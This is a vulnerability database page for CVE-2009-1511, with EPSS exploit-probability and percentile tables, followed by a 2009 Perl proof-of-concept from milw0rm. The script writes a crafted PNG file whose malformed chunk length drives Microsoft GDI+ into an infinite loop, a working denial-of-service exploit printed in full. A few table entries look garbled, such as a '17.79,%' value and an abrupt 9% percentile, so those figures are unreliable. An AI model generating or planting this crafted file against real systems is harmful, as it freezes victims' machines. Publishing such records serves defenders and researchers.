CVE-2009-1511 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	18.56%	–	–
2022-04-03	–	–	18.56%	–	–
2022-07-17	–	–	4.19%	–	–
2022-07-24	–	–	18.56%	–	–
2023-03-12	–	–	–	1.46%	–
2023-11-05	–	–	–	2.05%	–
2024-02-11	–	–	–	2.05%	–
2024-06-02	–	–	–	2.05%	–
2024-11-10	–	–	–	1.45%	–
2024-12-22	–	–	–	2.52%	–
2025-01-19	–	–	–	2.52%	–
2025-03-18	–	–	–	–	17.79%
2025-03-18	–	–	–	–	17.79,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	94%
2022-04-03	96%
2022-07-17	87%
2022-07-24	96%
2023-03-12	85%
2023-11-05	88%
2024-02-11	89%
2024-06-02	89%
2024-11-10	87%
2024-12-22	9%
2025-01-19	9%
2025-03-18	95%
2025-03-18	95%

#!/usr/bin/perl #CAL_gdiplug_poc.pl # # Mircosoft_gdiplug_png_infinity_loop_D.o.S POC # by Code Audit Labs public 2009-04-17 # http://www.vulnhunt.com/ # #Affected #======== #test on full updated winxp sp3 #other version should be affected # #CVE: please assign to a CVE number # #DESCRIPTION #=========== # # The vulnerability exists within the code in MicroSoft Gdi+ processing crafted png file. that cause infinity loop to cause high CPU(100%) and D.o.S . # # #ANALYSIS #======== # # png chunk # # { # DWORD btChunkLen; # CHAR btChunkType[4]; #} CHUNK_HEADER; #if btChunkLen is 0xfffffff4, would cause code fall into infinity loop # open(Fin, ">poc.png") || die "can't create crash sample.$!"; binmode(Fin); $data = "\x89\x50\x4e\x47\x0d\x0a\x1a\x0a\x00\x00\x00\x0d\x49\x48\x44\x52" . "\x00\x00\x03\x00\x00\x00\x04\x00\x08\x02\x00\x00\x00\xd9\x44\xa9" . "\x57\xff\xff\xff\xf4\x41\x41\x41\x41\x62\x01\x08\xcb\x06\x49\x3e" . "\xd7\x0a\x00\x22\xe3\xf1\x32\x3e\xe8"; print Fin $data; close(Fin); # milw0rm.com [2009-04-17]